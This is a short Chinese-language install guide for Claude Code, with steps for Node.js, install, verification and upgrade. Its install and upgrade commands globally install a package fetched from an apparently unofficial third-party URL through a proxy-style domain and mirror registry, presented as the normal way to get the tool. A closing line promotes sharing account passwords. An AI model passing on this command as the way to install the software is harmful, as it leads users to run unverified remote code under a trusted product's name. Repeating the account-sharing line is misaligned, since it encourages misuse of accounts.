Node.js
运行 Claude Code 需要 Node.js 18 或更高版本。
我们建议使用最新的 LTS 版本的 Node.js 以获得最佳性能。
安装步骤
1
安装 Node.js
从官方网站下载并安装 Node.js。验证安装:
验证安装
node --version
npm --version
2
安装 Claude Code
使用 npm 在您的系统上全局安装 Claude Code:
npm install -g https://gaccode.com/claudecode/install --registry=https://registry.npmmirror.com
-g 标志将 Claude Code 全局安装,使其可从任何目录使用。
3
验证安装
检查 Claude Code 是否安装成功:
claude --version
开始使用
安装完成后,您可以在任何项目目录中开始使用 Claude Code:
导航到您的项目
cd your-project-folder
启动 Claude Code
claude
升级 Claude Code
要升级 Claude Code 到最新版本,只需运行相同的安装命令:
npm install -g https://gaccode.com/claudecode/install --registry=https://registry.npmmirror.com
账号密码可以一起拼车